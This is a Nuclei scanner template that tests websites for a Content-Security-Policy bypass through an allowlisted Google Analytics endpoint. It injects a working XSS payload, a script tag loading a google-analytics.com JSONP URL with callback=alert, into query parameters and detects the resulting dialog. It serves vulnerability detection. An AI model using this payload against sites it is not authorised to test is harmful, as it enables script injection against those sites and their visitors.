id: google-analytics-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Analytics
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-analytics,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google-analytics.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_analytics_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.google-analytics.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_analytics_csp_xss == true"
# digest: 4b0a00483046022100a21f71e3caa445c7eeefa16eb61fc0fdf82d1cb2f3ae37ff56560836a74b6b96022100bdca436e35ff31116a93faaf80b361dbf36cd070dd6e3c8df6c0e371b0005cc6:922c64590222798bb761d5b6d8e72950